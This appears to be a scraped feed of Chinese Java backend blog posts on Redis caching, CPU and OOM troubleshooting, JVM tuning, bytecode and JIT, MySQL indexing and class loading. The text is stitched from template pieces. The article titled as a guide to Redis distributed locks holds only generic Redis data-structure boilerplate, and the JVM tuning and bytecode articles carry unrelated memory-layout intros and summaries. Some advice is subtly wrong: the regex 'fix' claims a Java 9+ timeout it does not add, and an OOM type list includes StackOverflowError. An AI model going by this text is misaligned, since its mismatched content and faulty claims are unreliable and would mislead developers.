  • 击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。
  • 雪崩：大量 key 同时过期，可以给过期时间增加随机值。

验证方式

本地可以先用 redis-cli 查看 key：

redis-cli
GET user:1001
TTL user:1001

确认缓存写入、过期时间和删除策略都符合预期。

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 线上CPU飙高如何定位Java问题 //xian-shang-cpu-biao-gao-ru-he-ding-wei-java-wen-ti/ 线上CPU飙高如何定位Java问题

CPU 飙高是线上 Java 应用常见的问题之一。本文总结一套完整的排查流程和常见原因。

排查流程

步骤1：确认是 Java 进程

# 查看CPU使用率最高的进程
top -c -p $(pgrep java | tr '\n' ',' | sed 's/,$//')

# 或
top -Hp <pid>  # 查看线程级CPU

步骤2：找到消耗 CPU 的线程

# 方法1：使用 top
printf "%x\n" <tid>  # 将线程ID转为16进制

# 方法2：使用 pidstat
pidstat -u -p <pid> 1 10  # 每秒采样，共10次

# 方法3：使用 ps
ps -mp <pid> -o THREAD,tid,time | sort -rn | head -20

步骤3：打印线程堆栈

# 获取所有线程堆栈
jstack -l <pid> > thread_dump.txt

# 查找16进制线程ID
grep -A 50 "nid=0x<hex_tid>" thread_dump.txt

步骤4：分析堆栈

# 快速定位：统计各状态的线程数
jstack <pid> | grep "java.lang.Thread.State" | sort | uniq -c | sort -rn

# 查找 RUNNABLE 的线程
jstack <pid> | grep -A 1 "java.lang.Thread.State: RUNNABLE" | grep -v "State"

常见原因

原因1：死循环

堆栈特征：

"pool-1-thread-1" #12 prio=5 os_prio=0 cpu=12345678.90ms elapsed=120.00s tid=0x00007f123456 nid=0x1234 runnable [0x00007f1234567000]
   java.lang.Thread.State: RUNNABLE
        at com.example.BadCode.process(BadCode.java:25)
        at com.example.BadCode.run(BadCode.java:18)

代码示例：

public void process() {
    while (true) {  // 缺少退出条件
        doSomething();
    }
}

解决：

public void process() {
    while (running) {  // 使用标志位控制
        doSomething();
    }
}

原因2：正则表达式回溯

堆栈特征：

java.lang.Thread.State: RUNNABLE
        at java.util.regex.Pattern$GroupHead.match(Pattern.java:xxx)
        at java.util.regex.Pattern$Loop.match(Pattern.java:xxx)

代码示例：

// 灾难性回溯
String regex = "(a+)+b";
Pattern.compile(regex).matcher("aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaac").matches();

解决：

// 使用预编译 + 超时控制
Pattern pattern = Pattern.compile(regex);
Matcher matcher = pattern.matcher(input);

// Java 9+ 支持
if (!matcher.matches()) {  // 或使用 RE2/J 等安全正则库
    // ...
}

原因3：频繁 GC

堆栈特征：

"GC Thread#1" os_prio=0 cpu=5678.90ms
"G1 Main Marker" os_prio=0 cpu=1234.56ms

排查：

# 查看GC情况
jstat -gcutil <pid> 1000 10

# 如果YGCT/FGCT很高，说明GC频繁

解决：

  • 增大堆内存
  • 优化对象创建
  • 检查内存泄漏

原因4：计算密集型任务

堆栈特征：

java.lang.Thread.State: RUNNABLE
        at com.example.Calculation.heavyCompute(Calculation.java:45)
        at java.math.BigInteger.multiply(BigInteger.java:xxx)

解决：

  • 异步处理
  • 限流
  • 分布式计算

原因5：频繁线程上下文切换

# 查看上下文切换
pidstat -w -p <pid> 1 10

# vmstat 查看系统整体
vmstat 1 10

原因：

  • 锁竞争激烈
  • 线程数过多
  • IO 阻塞后唤醒

解决：

  • 减少锁粒度
  • 使用 CAS 替代锁
  • 控制线程数

使用 Arthas 快速定位

thread 命令

# 查看最忙的线程
thread -n 5

# 查看指定线程
thread <tid>

# 查看所有线程
thread --all

profiler 命令

# CPU 火焰图
profiler start
profiler stop --file /tmp/cpu.html

# 查看热点方法
profiler start --event cpu
profiler stop

完整排查脚本

#!/bin/bash
# cpu_high.sh

PID=$1

if [ -z "$PID" ]; then
    echo "Usage: $0 <pid>"
    exit 1
fi

echo "=== 进程信息 ==="
ps -fp $PID

echo "=== CPU 最高的线程 ==="
top -Hp $PID -bn1 | head -20

echo "=== 线程转储 ==="
jstack $PID > /tmp/jstack_$PID_$(date +%Y%m%d_%H%M%S).txt
echo "线程转储已保存"

echo "=== GC 统计 ==="
jstat -gcutil $PID 1 5

echo "=== 内存使用 ==="
jmap -heap $PID

echo "=== 完成 ==="

总结

现象可能原因排查命令
CPU 100%，部分线程 RUNNABLE死循环jstack + 找 RUNNABLE
CPU 高，regex 相关堆栈正则回溯检查正则表达式
CPU 高，GC 线程活跃GC 频繁jstat -gcutil
CPU 波动大线程切换多pidstat -w
CPU 持续高，计算相关计算密集型thread -n 5

CPU 问题排查的核心思路：找到高 CPU 线程 -> 打印堆栈 -> 分析代码 -> 定位热点。Arthas 等工具可以大大简化这一过程。

]]> JVM 学习笔记 JVM 内存溢出和内存泄漏排查流程 //nei-cun-yi-chu-he-nei-cun-xie-lou-pai-cha-liu-cheng/ 内存溢出和内存泄漏排查流程

OutOfMemoryError（OOM）是 Java 应用最常见的严重问题之一。本文系统总结各类 OOM 的排查流程。

OOM 类型与原因

错误信息发生区域常见原因
Java heap space堆内存对象过多、内存泄漏
GC overhead limit exceeded堆内存GC效率过低
Metaspace元空间类加载过多
Unable to create new native thread虚拟机栈线程过多
Direct buffer memory直接内存NIO使用不当
Requested array size exceeds VM limit堆内存数组过大

排查工具

1. jmap：生成堆 dump

# 生成堆内存快照
jmap -dump:format=b,file=heap.hprof <pid>

# 只 dump 存活对象
jmap -dump:live,format=b,file=heap.hprof <pid>

# 查看堆概要
jmap -heap <pid>

# 查看 histogram
jmap -histo <pid> | head -20

2. jstat：监控 GC

# 每5秒输出一次，共10次
jstat -gcutil <pid> 5000 10

# 输出说明
S0     S1     E      O      M     CCS    YGC     YGCT    FGC    FGCT     GCT
0.00  50.00  20.00  60.00  95.00  90.00   100    5.000     5    15.000   20.000

3. MAT（Memory Analyzer Tool）

Eclipse 开源的堆分析工具：

1. 打开 heap.hprof
2. 运行 Leak Suspects Report
3. 查看 Dominator Tree
4. 分析 Path to GC Roots

4. Arthas

# 查看内存使用
memory

# 查看大对象
vmtool --action getInstances --className java.lang.String --limit 10

# 生成堆 dump
heapdump /tmp/dump.hprof

堆内存溢出排查

步骤1：确认 OOM 类型

java.lang.OutOfMemoryError: Java heap space

步骤2：获取堆 dump

# 自动配置
-XX:+HeapDumpOnOutOfMemoryError
-XX:HeapDumpPath=/var/log/app/

# 手动获取
jmap -dump:live,format=b,file=heap.hprof <pid>

步骤3：MAT 分析

1. 打开 heap.hprof
2. 查看 Leak Suspects
3. 找到占用最大的对象
4. 查看 Dominator Tree
5. 分析引用链（Path to GC Roots）

步骤4：常见原因

原因1：内存泄漏

// 例子：静态集合持有对象引用
public class Cache {
    private static final Map<String, Object> map = new HashMap<>();
    
    public void add(String key, Object value) {
        map.put(key, value);  // 只添加不删除！
    }
}

原因2：大对象

// 一次性加载大量数据到内存
List<User> allUsers = userDao.findAll();  // 百万级数据

原因3：内存设置过小

# 容器限制了内存，但 JVM 不知道
-Xmx1g  # 容器只给 1GB

元空间溢出排查

现象

java.lang.OutOfMemoryError: Metaspace

原因

  1. 动态生成类过多（CGLIB、反射）
  2. OSGi 频繁部署/卸载 Bundle
  3. 类加载器泄漏

排查

# 查看类加载情况
jstat -class <pid>

# 查看加载的类
jcmd <pid> VM.classloader_stats

解决

# 增大元空间
-XX:MaxMetaspaceSize=512m

# 代码优化：减少动态代理、使用单例 Enhancer

线程过多导致 OOM

现象

java.lang.OutOfMemoryError: Unable to create new native thread

原因

  • 线程池配置过大
  • 线程未正确回收
  • 系统限制（ulimit -u）

排查

# 查看线程数
jstack <pid> | grep "java.lang.Thread.State" | wc -l

# 查看系统限制
ulimit -u

# 查看进程线程数
cat /proc/<pid>/status | grep Threads

解决

# 限制线程池大小
ExecutorService executor = new ThreadPoolExecutor(
    10, 100, 60, TimeUnit.SECONDS,
    new LinkedBlockingQueue<>(1000)
);

# 增大系统限制
ulimit -u 65535

直接内存溢出

现象

java.lang.OutOfMemoryError: Direct buffer memory

原因

  • ByteBuffer.allocateDirect() 未释放
  • Netty 的池化内存未回收

排查

# 查看直接内存使用
jcmd <pid> VM.native_memory summary

# 开启 Native Memory Tracking
-XX:NativeMemoryTracking=summary

解决

// 正确释放直接内存
ByteBuffer buffer = ByteBuffer.allocateDirect(1024);
// ...
((DirectBuffer) buffer).cleaner().clean();  // 主动释放

// Netty 中使用引用计数
ReferenceCountUtil.release(buf);

内存泄漏排查实战

案例：Tomcat 热部署导致 PermGen/Metaspace 泄漏

现象：每次热部署后内存增长，不释放。

排查：

# 1. 查看类加载器
jmap -clstats <pid>

# 2. 对比两次热部署后的类数量
jmap -histo <pid> | grep "class "

原因：

  • ThreadLocal 未清理
  • 单例持有旧类加载器引用
  • 驱动注册未注销

解决：

// 1. 清理 ThreadLocal
ThreadLocalCleaner.clean();

// 2. 注销 JDBC 驱动
Enumeration<Driver> drivers = DriverManager.getDrivers();
while (drivers.hasMoreElements()) {
    Driver driver = drivers.nextElement();
    DriverManager.deregisterDriver(driver);
}

// 3. 清理 Introspector
Introspector.flushCaches();

排查流程图

发生OOM
    |
    v
查看错误信息（确定类型）
    |
    v
获取堆/线程 dump
    |
    v
分析 dump（MAT/jstack）
    |
    v
定位可疑对象/线程
    |
    v
分析代码引用链
    |
    v
确定根因（泄漏/配置/大对象）
    |
    v
修复并验证

预防措施

  1. 配置自动 dump
-XX:+HeapDumpOnOutOfMemoryError
-XX:HeapDumpPath=/var/log/app/
  1. 监控告警
# 内存使用率 > 80% 告警
# GC 停顿 > 1s 告警
# 线程数 > 1000 告警
  1. 代码规范
  • 及时关闭资源（try-with-resources）
  • 避免静态集合无限增长
  • 使用弱引用缓存
  • ThreadLocal 用完 remove()

总结

OOM 类型排查重点常用工具
Heap大对象、内存泄漏jmap, MAT
Metaspace类加载器、动态代理jstat -class
Thread线程池、线程泄漏jstack
Direct MemoryNIO, NettyNativeMemoryTracking

内存问题排查的核心思路：获取现场 -> 分析对象 -> 追踪引用 -> 定位代码。养成开启自动 heap dump 的习惯，是快速定位 OOM 的关键。

]]> JVM 学习笔记 JVM Redis 分布式锁的正确姿势 //redis-fen-bu-shi-suo-de-zheng-que-zi-shi/ Redis 分布式锁的正确姿势

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

先明确 Redis 在系统里的角色

Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？

一个缓存查询的基本写法

String key = "user:" + userId;
User user = redisTemplate.opsForValue().get(key);
if (user != null) {
    return user;
}
user = userMapper.selectById(userId);
if (user != null) {
    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(30));
}
return user;

这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。

三个常见问题

  • 穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。
  • 击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。
  • 雪崩：大量 key 同时过期，可以给过期时间增加随机值。

验证方式

本地可以先用 redis-cli 查看 key：

redis-cli
GET user:1001
TTL user:1001

确认缓存写入、过期时间和删除策略都符合预期。

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 缓存穿透击穿雪崩怎么处理 //huan-cun-chuan-tou-ji-chuan-xue-beng-zen-me-chu-li/ 缓存穿透击穿雪崩怎么处理

缓存穿透、击穿、雪崩是三个经典问题。本文从现象到解决方案，把这三个概念讲清楚。

先明确 Redis 在系统里的角色

Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？

一个缓存查询的基本写法

String key = "user:" + userId;
User user = redisTemplate.opsForValue().get(key);
if (user != null) {
    return user;
}
user = userMapper.selectById(userId);
if (user != null) {
    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(30));
}
return user;

这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。

三个常见问题

  • 穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。
  • 击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。
  • 雪崩：大量 key 同时过期，可以给过期时间增加随机值。

验证方式

本地可以先用 redis-cli 查看 key：

redis-cli
GET user:1001
TTL user:1001

确认缓存写入、过期时间和删除策略都符合预期。

]]> Redis Redis 缓存 JVM调优实战与参数配置 //jvm-diao-you-shi-zhan-yu-can-shu-pei-zhi/ JVM调优实战与参数配置

JVM 内存布局是排查线上问题的基础。很多开发者遇到 OutOfMemoryError 时不知道从哪里入手。本文结合实际案例，讲清楚各区域的作用和常见异常，帮你建立排查思路。

调优前准备

#

1. 明确目标

目标关注点
低延迟GC 停顿时间
高吞吐单位时间处理量
低内存内存占用
高并发线程数、连接数

#

2. 收集基线数据

# 压测工具
wrk -t12 -c400 -d30s http://localhost:8080/api

# 监控指标
- 吞吐量 (TPS/QPS)
- 平均/最大响应时间
- GC 频率和停顿时间
- CPU/内存使用率

内存配置

#

堆内存设置

# 基础配置
-Xms4g -Xmx4g        # 初始和最大堆内存相同，避免动态调整开销

# 年轻代
-Xmn1g               # 年轻代大小
# 或
-XX:NewRatio=2       # 老年代:年轻代 = 2:1

# Survivor区
-XX:SurvivorRatio=8  # Eden:S0:S1 = 8:1:1

原则：

  • -Xms = -Xmx，避免运行时扩容
  • 年轻代占堆的 1/4 到 1/3
  • Survivor 区能容纳一次 Young GC 后的存活对象

#

元空间设置

-XX:MetaspaceSize=128m
-XX:MaxMetaspaceSize=256m

注意：MaxMetaspaceSize 默认无限制，建议设置上限防止类加载泄漏导致内存耗尽。

#

直接内存

-XX:MaxDirectMemorySize=512m

适用：Netty、NIO 等使用堆外内存的场景。

#

栈内存

-Xss512k    # 每个线程的栈大小

注意：线程数多时应减小，避免总内存占用过高。

GC 选择与配置

#

场景1：Web 应用（低延迟）

# JDK 8
-XX:+UseG1GC
-XX:MaxGCPauseMillis=200

# JDK 11+
-XX:+UseG1GC
-XX:MaxGCPauseMillis=100
-XX:+UseStringDeduplication  # 字符串去重

#

场景2：批处理（高吞吐）

-XX:+UseParallelGC
-XX:GCTimeRatio=19          # GC时间占比 5%
-XX:+UseAdaptiveSizePolicy

#

场景3：大内存低延迟

# JDK 17+
-XX:+UseZGC
-XX:MaxGCPauseMillis=10
-Xms64g -Xmx64g

GC 日志配置

#

JDK 8

-XX:+PrintGCDetails
-XX:+PrintGCDateStamps
-XX:+PrintGCTimeStamps
-XX:+PrintGCCause
-Xloggc:/var/log/app/gc.log
-XX:+UseGCLogFileRotation
-XX:NumberOfGCLogFiles=10
-XX:GCLogFileSize=10M

#

JDK 9+

-Xlog:gc*:file=/var/log/app/gc.log:time,uptime,level,tags:filecount=10,filesize=10m

OOM 时自动 dump

-XX:+HeapDumpOnOutOfMemoryError
-XX:HeapDumpPath=/var/log/app/heapdump.hprof
-XX:OnOutOfMemoryError="sh /app/alert.sh"

生产环境配置模板

#

通用 Web 应用（JDK 11+）

JAVA_OPTS="
  -server
  -Xms4g -Xmx4g
  -Xmn1536m
  -XX:MetaspaceSize=256m
  -XX:MaxMetaspaceSize=512m
  -XX:+UseG1GC
  -XX:MaxGCPauseMillis=200
  -XX:+ParallelRefProcEnabled
  -XX:+AlwaysPreTouch
  -XX:+DisableExplicitGC
  -XX:+HeapDumpOnOutOfMemoryError
  -XX:HeapDumpPath=/var/log/app/
  -Xlog:gc*:file=/var/log/app/gc.log:time,uptime,level,tags:filecount=10,filesize=10m
  -XX:ErrorFile=/var/log/app/hs_err_pid%p.log
"

#

高并发 API 服务（JDK 17+）

JAVA_OPTS="
  -server
  -Xms8g -Xmx8g
  -XX:+UseZGC
  -XX:MaxGCPauseMillis=5
  -XX:+ZGenerational
  -XX:+AlwaysPreTouch
  -XX:+DisableExplicitGC
  -XX:+HeapDumpOnOutOfMemoryError
  -XX:HeapDumpPath=/var/log/app/
"

#

微服务容器化

JAVA_OPTS="
  -server
  -XX:+UseContainerSupport
  -XX:InitialRAMPercentage=70.0
  -XX:MaxRAMPercentage=70.0
  -XX:+UseG1GC
  -XX:MaxGCPauseMillis=200
  -XX:+UseStringDeduplication
"

典型调优案例

#

案例1：频繁 Full GC

现象：

[Full GC (Allocation Failure)  4096M->3890M(4096M), 3.5s]
频繁发生，每次停顿 3~5 秒

分析：

  • 堆内存设置过小
  • 老年代增长过快（年轻代太小或晋升阈值太低）
  • 内存泄漏

解决：

# 1. 增大堆内存
-Xms8g -Xmx8g

# 2. 增大年轻代
-Xmn3g

# 3. 提高晋升阈值
-XX:MaxTenuringThreshold=15

# 4. 检查内存泄漏（MAT分析heap dump）

#

案例2：Young GC 频繁

现象：

[GC pause (G1 Evacuation Pause) (young) 200M->50M(4096M), 0.05s]
每秒发生 5~10 次

分析：

  • 年轻代太小
  • 对象生命周期太短
  • 创建对象速度过快

解决：

# 增大年轻代
-Xmn2g

# 或调整 Eden 比例
-XX:SurvivorRatio=6

# 代码优化：使用对象池、避免大对象

#

案例3：GC 停顿过长

现象：

[GC pause (G1 Evacuation Pause) (mixed) 6000M->3000M(8000M), 1.2s]

分析：

  • 堆太大，G1 回收的 Region 过多
  • 大对象过多
  • 存活对象多，复制时间长

解决：

# 1. 降低停顿目标
-XX:MaxGCPauseMillis=100

# 2. 使用 ZGC（JDK 17+）
-XX:+UseZGC

# 3. 优化大对象
-XX:G1HeapRegionSize=16m  # 增大Region

调优检查清单

  • 明确调优目标（延迟 vs 吞吐）
  • 压测获取基线数据
  • 分析 GC 日志
  • 检查是否有内存泄漏
  • 验证调优效果
  • 监控生产环境

总结

配置项建议
堆内存Xms = Xmx，容器环境用百分比
年轻代堆的 1/4 ~ 1/3
GCJDK 9+ 用 G1，大堆低延迟用 ZGC
日志开启详细 GC 日志，便于排查
OOM自动 dump heap

JVM 调优是一个持续的过程：监控 -> 分析 -> 调整 -> 验证。不要过度调优，合理的配置 + 健康的代码才是性能的根本保障。

核心要点

  1. 堆内存分为年轻代和老年代，年轻代又分为 Eden、Survivor 等区域

  2. 栈内存是线程私有的，每个线程都有自己的栈空间

  3. 方法区（元空间）存储类信息、常量池等

  4. 常见的 OOM 类型：HeapSpace、OutOfMemoryError、StackOverflowError

总结

理解 JVM 内存模型是成为高级 Java 工程师的必备技能。在实际项目中，配置合适的堆内存大小、选择合适的垃圾收集器，都需要对内存布局有清晰的认识。

]]> JVM 学习笔记 JVM Redis 常见数据结构和使用场景 //redis-chang-jian-shu-ju-jie-gou-he-shi-yong-chang-jing/ Redis 常见数据结构和使用场景

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

先明确 Redis 在系统里的角色

Redis 常见用途不是“替代数据库”，而是缓存热点数据、保存会话、做简单计数、排行榜、分布式锁等。设计时要先问：这份数据丢了能不能恢复？是否允许短暂不一致？

一个缓存查询的基本写法

String key = "user:" + userId;
User user = redisTemplate.opsForValue().get(key);
if (user != null) {
    return user;
}
user = userMapper.selectById(userId);
if (user != null) {
    redisTemplate.opsForValue().set(key, user, Duration.ofMinutes(30));
}
return user;

这个流程看起来简单，但要注意缓存穿透、缓存击穿和缓存雪崩。

三个常见问题

  • 穿透：查询不存在的数据，可以缓存空值或用布隆过滤器。
  • 击穿：热点 key 过期瞬间大量请求打到数据库，可以用互斥锁或逻辑过期。
  • 雪崩：大量 key 同时过期，可以给过期时间增加随机值。

验证方式

本地可以先用 redis-cli 查看 key：

redis-cli
GET user:1001
TTL user:1001

确认缓存写入、过期时间和删除策略都符合预期。

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 JVM字节码与执行引擎 //jvm-zi-jie-ma-yu-zhi-xing-yin-qing/ JVM字节码与执行引擎

JVM 内存布局是排查线上问题的基础。很多开发者遇到 OutOfMemoryError 时不知道从哪里入手。本文结合实际案例，讲清楚各区域的作用和常见异常，帮你建立排查思路。

字节码概览

Java 字节码是 JVM 的指令集，每条指令由一个字节的操作码（Opcode）和零到多个操作数组成。

#

查看字节码

# javap 反编译
javap -c -p HelloWorld.class

# 更详细的输出
javap -v HelloWorld.class

#

HelloWorld 字节码示例

public class HelloWorld {
    public static void main(String[] args) {
        System.out.println("Hello, World!");
    }
}
public static void main(java.lang.String[]);
    Code:
       0: getstatic     #2   // Field java/lang/System.out:Ljava/io/PrintStream;
       3: ldc           #3   // String Hello, World!
       5: invokevirtual #4   // Method java/io/PrintStream.println:(Ljava/lang/String;)V
       8: return

常见字节码指令

#

加载和存储

指令说明
iload将 int 局部变量压入操作数栈
istore将栈顶 int 存入局部变量
ldc将常量压入操作数栈
getstatic获取静态字段
putfield设置对象字段

#

算术运算

指令说明
iaddint 加法
isubint 减法
imulint 乘法
idivint 除法
iinc局部变量自增

#

类型转换

指令说明
i2lint 转 long
i2fint 转 float
l2ilong 转 int
checkcast类型检查转换

#

对象操作

指令说明
new创建对象
invokespecial调用构造方法/私有方法/父类方法
invokevirtual调用虚方法
invokestatic调用静态方法
invokeinterface调用接口方法
invokedynamic动态调用（Java 7+ Lambda）

#

控制转移

指令说明
ifeq/ifne等于/不等于0跳转
if_icmpltint 比较小于跳转
goto无条件跳转
tableswitch表格开关
lookupswitch查找开关

执行引擎

#

1. 解释执行（Interpreter）

字节码
  |
  v
解释器逐条读取指令
  |
  v
调用对应的C++函数执行
  |
  v
结果

特点：启动快，执行慢。

#

2. JIT 编译（Just-In-Time）

字节码
  |
  v
热点代码检测（方法调用次数 > 阈值）
  |
  v
编译为本地机器码
  |
  v
直接执行机器码

热点检测：

-XX:CompileThreshold=10000  # 方法调用次数阈值（Client: 1500, Server: 10000）

#

3. 分层编译（Tiered Compilation）

JDK 7+ 默认开启：

Level 0: 解释执行
    ↓ 方法调用次数 > 阈值
Level 1: C1 简单编译（带性能监控）
    ↓ 代码成为热点
Level 2: C1 复杂编译
    ↓ 更热点
Level 3: C1 完全编译（带所有性能监控）
    ↓ 最热点
Level 4: C2 激进优化编译
-XX:+TieredCompilation  # 开启分层编译（默认开启）

C1 vs C2 编译器

特性C1（Client Compiler）C2（Server Compiler）
优化程度简单激进
编译速度快慢
生成代码质量一般高
启动速度快慢
适用场景客户端/短运行服务端/长运行

JIT 优化技术

#

1. 方法内联

public int add(int a, int b) {
    return a + b;
}

public int calculate() {
    int x = add(1, 2);  // 内联后：直接变成 int x = 1 + 2;
    return x * 3;
}
-XX:MaxInlineSize=35       # 方法体小于35字节内联
-XX:FreqInlineSize=325     # 热点方法小于325字节内联

#

2. 逃逸分析

public void method() {
    User user = new User();  // 未逃逸出方法
    user.setName("test");
    // JIT优化：栈上分配或标量替换
}
-XX:+DoEscapeAnalysis       # 开启逃逸分析
-XX:+EliminateAllocations   # 标量替换
-XX:+EliminateLocks         # 同步消除

#

3. 锁消除

public void method() {
    Object lock = new Object();
    synchronized (lock) {    // 锁对象未逃逸，消除锁
        // ...
    }
}

#

4. 循环展开

// 原始代码
for (int i = 0; i < 100; i++) {
    sum += array[i];
}

// 优化后
for (int i = 0; i < 100; i += 4) {
    sum += array[i];
    sum += array[i + 1];
    sum += array[i + 2];
    sum += array[i + 3];
}

查看 JIT 编译

# 打印 JIT 编译日志
-XX:+PrintCompilation

# 输出示例
    123   45       4       java.lang.String::charAt (29 bytes)
    │     │        │       └── 编译级别4（C2）
    │     │       └── 方法编号
    │     └── 编译ID
    └── JVM启动后的毫秒数
# 打印更详细的信息
-XX:+UnlockDiagnosticVMOptions
-XX:+PrintInlining           # 打印内联决策
-XX:+PrintAssembly           # 打印汇编代码（需要hsdis）

AOT 编译（Ahead-Of-Time）

JDK 9+ 引入 jaotc：

# 编译为本地代码
jaotc --output libHello.so Hello.class

# JVM 加载
java -XX:AOTLibrary=./libHello.so Hello

特点：

  • 启动即 peak performance
  • 减少 JIT 编译开销
  • 但失去跨平台性

总结

执行方式启动速度峰值性能适用场景
解释执行最快最慢极少
C1 编译快中客户端
C2 编译慢最高服务端
分层编译较快最高现代 JVM 默认
AOT最快高容器/Serverless

JVM 的执行引擎设计精妙：解释执行快速启动，JIT 编译提升峰值性能，分层编译兼顾两者，AOT 为云原生场景提供新选择。

核心要点

  1. 堆内存分为年轻代和老年代，年轻代又分为 Eden、Survivor 等区域

  2. 栈内存是线程私有的，每个线程都有自己的栈空间

  3. 方法区（元空间）存储类信息、常量池等

  4. 常见的 OOM 类型：HeapSpace、OutOfMemoryError、StackOverflowError

总结

理解 JVM 内存模型是成为高级 Java 工程师的必备技能。在实际项目中，配置合适的堆内存大小、选择合适的垃圾收集器，都需要对内存布局有清晰的认识。

]]> JVM 学习笔记 JVM 数据库字段类型如何贴近业务 //shu-ju-ku-zi-duan-lei-xing-ru-he-tie-jin-ye-wu/ 数据库字段类型如何贴近业务

字段类型的选择直接影响性能和数据完整性。本文从实际项目经验出发讲如何选。

准备一张示例表

以订单表为例：

CREATE TABLE orders (
  id BIGINT PRIMARY KEY AUTO_INCREMENT,
  user_id BIGINT NOT NULL,
  status VARCHAR(20) NOT NULL,
  amount DECIMAL(10,2) NOT NULL,
  created_at DATETIME NOT NULL
);

查询订单列表时，很多人会直接写：

SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

这时可以考虑组合索引：

CREATE INDEX idx_user_status_time
ON orders(user_id, status, created_at);

必须用 EXPLAIN 验证

优化 SQL 不要凭感觉，先看执行计划：

EXPLAIN SELECT * FROM orders
WHERE user_id = 1001 AND status = 'PAID'
ORDER BY created_at DESC
LIMIT 20;

重点看 key 是否命中索引，rows 是否明显下降。如果只是建了索引但执行计划没变化，那说明索引设计可能不贴合查询条件。

常见坑

  • 在索引列上使用函数，可能导致索引失效。
  • 字段类型不一致，例如字符串和数字混用，会影响优化器选择。
  • 大 offset 分页会越来越慢，可以改成基于 id 的游标分页。
]]> MySQL SQL MySQL优化 打破双亲委派的实际案例 //da-po-shuang-qin-wei-pai-de-shi-ji-an-li/ 打破双亲委派的实际案例

双亲委派模型保证了 Java 核心类的安全性，但在实际应用中，很多框架都需要打破这一模型来实现特定功能。本文通过真实案例分析打破双亲委派的原因和方式。

案例1：JDBC 的 SPI 机制

问题背景

// DriverManager 在 rt.jar 中，由 Bootstrap ClassLoader 加载
Connection conn = DriverManager.getConnection(url, user, password);

// 但 MySQL 驱动在 classpath 中，由 App ClassLoader 加载
// Bootstrap ClassLoader 无法加载 App ClassLoader 的类！

解决方案：线程上下文类加载器

// DriverManager.getConnection() 内部
private static void loadInitialDrivers() {
    // 获取线程上下文类加载器（默认是 App ClassLoader）
    ClassLoader cl = Thread.currentThread().getContextClassLoader();
    
    // 使用上下文类加载器加载驱动
    ServiceLoader<Driver> loadedDrivers = ServiceLoader.load(Driver.class, cl);
    for (Driver driver : loadedDrivers) {
        drivers.add(driver);
    }
}

打破方式

Bootstrap ClassLoader 加载 DriverManager
    |
    v
DriverManager 调用 Thread.currentThread().getContextClassLoader()
    |
    v
App ClassLoader 加载 mysql-connector-java.jar 中的 Driver

本质：父加载器请求子加载器完成类加载，逆向委派。

案例2：Tomcat 的 Web 应用隔离

需求

  1. 不同 Web 应用使用不同版本的同一库（如 Spring 3 vs Spring 4）
  2. 应用热部署，不重启 Tomcat
  3. JSP 修改后立即生效

Tomcat 类加载器结构

Bootstrap ClassLoader
    ↑
Extension ClassLoader
    ↑
System ClassLoader
    ↑
Common ClassLoader  (CATALINA_BASE/lib)
    ├── Catalina ClassLoader  (CATALINA_HOME/lib)
    └── Shared ClassLoader
            ├── WebApp ClassLoader 1  (webapps/app1/WEB-INF/lib)
            │       └── 先自己加载，找不到再委派
            ├── WebApp ClassLoader 2  (webapps/app2/WEB-INF/lib)
            └── ...

WebAppClassLoader 的实现

public class WebAppClassLoader extends URLClassLoader {
    @Override
    public Class<?> loadClass(String name) throws ClassNotFoundException {
        // 1. 先自己加载（破坏双亲委派）
        Class<?> clazz = findLoadedClass(name);
        if (clazz == null) {
            clazz = findClass(name);  // 先在WEB-INF/lib和classes中找
        }
        
        // 2. 找不到再系统加载（委托给父加载器）
        if (clazz == null) {
            clazz = super.loadClass(name);
        }
        
        return clazz;
    }
}

加载顺序

1. JVM Bootstrap 类（java.lang.*）
2. Web 应用 /WEB-INF/classes
3. Web 应用 /WEB-INF/lib/*.jar
4. System ClassLoader
5. Common ClassLoader

案例3：OSGi 模块化

需求

每个 Bundle（模块）有自己的类加载器，实现：

  • 版本隔离：不同 Bundle 使用不同版本的库
  • 动态加载/卸载 Bundle

OSGi 类加载器

Bundle A (ClassLoader A)
├── 导入: org.slf4j (版本1.7)
└── 导出: com.example.service

Bundle B (ClassLoader B)
